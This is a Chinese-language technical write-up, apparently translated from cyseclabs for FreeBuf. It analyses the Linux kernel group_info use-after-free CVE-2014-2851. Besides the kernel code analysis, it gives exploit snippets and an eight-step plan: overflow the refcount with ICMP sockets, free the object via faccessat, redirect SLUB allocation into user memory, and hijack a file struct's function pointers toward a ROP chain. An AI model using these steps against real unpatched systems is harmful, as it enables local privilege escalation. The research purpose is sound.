Linux内核group_info UAF漏洞利用(CVE-2014-2851)

2016-01-07 253036人围观 ,发现 5 个不明物体 漏洞

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

简介

本案例研究 CVE-2014-2851 漏洞,其影响 Linux 内核直到3.14.1版本。首先,我非常感谢Thomas的帮助,他给出了最初的分析PoC

这个漏洞不是很实用(它需要一段时来溢出一个32位的整数),但是从开发的角度来看,这是一个有趣的漏洞。在我们测试的系统上,为了得到 # 花去了超过50分钟时间。由于 RCU 回调的一些不测预测使得其利用非常困难。

我们的测试系统为32位 Ubuntu 14.04 LTS (3.13.0-24-generic kernel) SMP。下面我们首先描述这个漏洞及其利用,之后我们会讨论其利用中存在的困难点。

漏洞

下面是存在漏洞的地方,用于创建 ICMP 套接字。注意虽然标准用户(在大多数的发行版中)不允许创建 ICMP 套接字,但无需 root 权限也可以访问到存在漏洞的部分:

int ping_init_sock(struct sock *sk)
{
        struct net *net = sock_net(sk);
        kgid_t group = current_egid();
        struct group_info *group_info = get_current_groups();          [1]
        int i, j, count = group_info->ngroups;
        kgid_t low, high;

        inet_get_ping_group_range_net(net, &low, &high);
        if (gid_lte(low, group) && gid_lte(group, high))               [2]
                return 0;
    ...

当在用户空间创建一个 ICMP socket后,会到达下列路径(特别是[1]):

socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);

[1]中的函数 get_current_groups()include/linux/cred.h 中定义的宏:

#define get_current_groups()                            \
({                                                      \
        struct group_info *__groups;                    \
        const struct cred *__cred;                      \
        __cred = current_cred();                        \
        __groups = get_group_info(__cred->group_info);  \              [3]
        __groups;                                       \
})

[3]中的 get_group_info() 函数有一个用于统计使用量的原子类型增量 group_info,其定义为一个整数类型:

type = struct group_info {
    atomic_t usage;
    int ngroups;
    int nblocks;
    kgid_t small_block[32];
    kgid_t *blocks[];
}

typedef struct {
    int counter;
} atomic_t;

每当一个新的 ICMP 套接字被创建,这个计数器就会增加 1 在[1]中。然而,对于普通用户,[2] 中的检测会失败(返回0)。因此,这个使用量在退出时永远不会减少。我们可以通过反复创建新的 ICMP 套接字来溢出这个有符号整数(0xffffffff + 1 = 0)。

结构体 group_info 是与其 fork 出的子进程所共享的。当其中计数器值变为0后,内核有很多种方法可以释放它。其中一种方法就是由 Thomas 发现的使用 faccessat() 系统函数:

SYSCALL_DEFINE3(faccessat, int, dfd, const char __user *, filename, int, mode)
{
        const struct cred *old_cred;
        struct cred *override_cred;
        int res;
    ...

        override_cred = prepare_creds();                       [4]
    ...
out:
        revert_creds(old_cred);
        put_cred(override_cred);                               [5]
        return res;

在 [4]中,一个新的结构体被分配,其内的计数器(不要跟 group_info->usage 混淆)被置为1并且 group_info->usage 也递增了1。这时[5]中的 put_cred 会将 cred->usage 值递减并调用 __put_cred()

static inline void put_cred(const struct cred *_cred)
{
        struct cred *cred = (struct cred *) _cred;

        validate_creds(cred);
        if (atomic_dec_and_test(&(cred)->usage))
                __put_cred(cred);
}

最重要的部分就是利用 RCU [6]释放 cred 结构体:

void __put_cred(struct cred *cred)
{
        ...
        BUG_ON(cred == current->cred);
        BUG_ON(cred == current->real_cred);

        call_rcu(&cred->rcu, put_cred_rcu);                 [6]
}
EXPORT_SYMBOL(__put_cred);

下面显示的是 put_cred_rcu 回调函数,当计数器变为0时其调用[7]中的 put_group_info() 来释放 group_info 结构体:

static void put_cred_rcu(struct rcu_head *rcu)
{
        struct cred *cred = container_of(rcu, struct cred, rcu);

    ...
        security_cred_free(cred);
        key_put(cred->session_keyring);
        key_put(cred->process_keyring);
        key_put(cred->thread_keyring);
        key_put(cred->request_key_auth);
        if (cred->group_info)
                put_group_info(cred->group_info);           [7]
        free_uid(cred->user);
        put_user_ns(cred->user_ns);
        kmem_cache_free(cred_jar, cred);
}

put_group_info() 函数为宏定义,用于递减 group_info 的计数器并且在计数值为0时释放这个结构体:

#define put_group_info(group_info)                      \
do {                                                    \
        if (atomic_dec_and_test(&(group_info)->usage))  \
                groups_free(group_info);                \
} while (0)

利用

很显然我们可以通过溢出计数器为0让 group_info 结构体被释放,然后在用户空间调用 faccessat()

// increment the counter close to 0xffffffff (-10 = 0xfffffff6)
for (i = 0; i < -10; i++) {
        socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
}

// increment the counter by 1 and try to free it
for (i = 0; i < 100; i++) {
        socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
    faccessat(0, "/", R_OK, AT_EACCESS);
}

上面的代码可以溢出计数器并释放 group_info 结构体。释放这个结构体是通过调用 RCU 系统回调完成的,这里会存在一些不可预测问题,随后我们会再“挑战”章节中进行讨论。

一旦 group_info 结构被释放,SLUB 分配器会将其地址保存到 freelist 中。网上有很多资料讲述 SLUB 分配器,这里我们就不在详述。但我们知道当一个对象被释放后,会将其放入 freelist 并且前四个字节(32-bit)会被一个指向下一块空闲对象的指针所覆盖。因此 group_info 前四个字节会被一个有效的内核存储地址所覆盖。而原先的前四个字节为计数器,所以我们可以通过继续建立 ICMP 套接字来增加这个值。

group_info 会被释放后可能会出现两种情况:

1.它是 freelist 的最后一个对象
2.它是 freelist 中的一个空闲对象

前一种情况下,group_info 中指向下一个空闲对象的指针会被置为 NULL。我们主要关注后一种情况,指针会指向 slab 中下一个空闲对象(这也是最常见的情况)。

在我们测试的系统中,group_info 结构体总计 140 比特长,分配在 kmalloc-192 缓存中。当收到一个请求分配 128-192 比特的对象(通过kmalloc,kmem_cache_alloc 等等)时,SLUB 分配器会查看 freelist 并分配我们计数器被覆盖后指针指向的地址。

我们可以通过反复增加计数值使其溢出并使用 mmap来使得指针指向用户区域。举个例子,给定一个内核地址 0xf3XXXXXX 增加 0xfffffff 后就到了用户区域 0x3XXXXXX 。

总的来说,利用的过程如下:

1.通过创建 ICMP 套接字增加 group_info 计数器接近 0xffffffff

2.反复尝试每次让计数器增加1,然后通过调用 faccessat() 释放 group_info

3.一旦成功释放,group_info 中的计数器会被覆盖为指向 slab 中下一块空闲区域的指针

4.通过创建更多的 ICMP 套接字来继续增加 group_info 的计数器,直到其指向用户区域的内存空间

5.记录用户空间的这块区域(例如 0×3000000-0×4000000)并使用 memset 将其置为0

6.请求在内核空间分配一个大小为 128-192 比特的结构 X (理想情况下包含函数指针)

7.SLUB 分配器会分配结构 X 到我们的用户空间地址 0×3000000-0×4000000

8.如果结构 X 包含任何函数指针,我们就可以指向我们的 payload 了(我们案例中是ROP链)

我们使用的结构 X 利用为文件结构,具有跟 group_info相同的大小并且包含一些函数指针(例如:文件操作 *f_op)。分配这个文件结构可以通过以下示例代码:

for (i = 0; i < N; i++)
        fd = open("/etc/passwd", O_RDONLY);

如果要求文件必须至少分配 1024,那么可以 fork 其他进程继续分配更多的文件结构。

一旦这个文件结构分配到我们的用户空间 0×3000000-0×4000000,我们可以简单的搜索这块区域中非0比特。下面是我们文件结构的开始部分:

unsigned *p;
struct file *f = NULL;

// find the file struct
for (p = 0x3000000; p < 0x4000000; p++) {
        if (*p) {
                f = (struct file *)p;
                break;
        }
}

从这一点上面看,这一系列的利用操作很普通。

挑战

正如上一章里面所说的,RCU 回调可能会造成一些无法预知的情况。例如,faccessat() 跟随的 ping_init_sock() 再循环中可能不会执行。很显然我们希望按如下执行:

1.增加 group_info 中的计数器

2.如果计数器值为0则通过 faccessat() 释放

然而,RCU 回调往往是积累在一起然后批量处理的。回调函数只有在系统中的至少一个 CPU 标记为“空闲”状态才会执行(例如:上下文切换,idle循环等等)。因此,经常会出现大量的 ping_init_sock 同时被执行(溢出了计数器并使其值>0),跟随着一系列的 put_cred_rcu() RCU 回调。出现这种情况时释放 group_info 的步骤就会被跳过。不过,我们已经找到了一种方法可以控制计数增加并检查。

另一个问题出现在与漏洞利用相关的恢复阶段。如果另一个对象同时从相同的 slab 发来请求怎么办?对于这种情况,我们可以将我们对象中指向下一个 freelist 的指针置为 NULL。这样分配器就会将 freelist指针置为NULL,反过来说,这会强迫分配器创建一个新的 slab 并且“忘记”我们当前的 slab。

现在,如果一些属于我们当前使用 slab 的对象被释放了怎么办?这就提出了一个真正的挑战,我们可以在利用后通过 LKM 修复系统来解决。

总结

在实用性方面,这个漏洞可能不太理想,因为它需要一段时间来溢出一个32位的计数器。在我们的测试系统上,整个利用时间花费了超过50分钟。然而,一旦当 group_info 被释放其利用还是比较可靠的(即使在多处理平台下)。

*原文:cyseclabs,FB小编xiaix编译,转自须注明来自FreeBuf黑客与极客(FreeBuf.COM

相关推荐
Loading...

特别推荐

推荐关注

活动预告

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php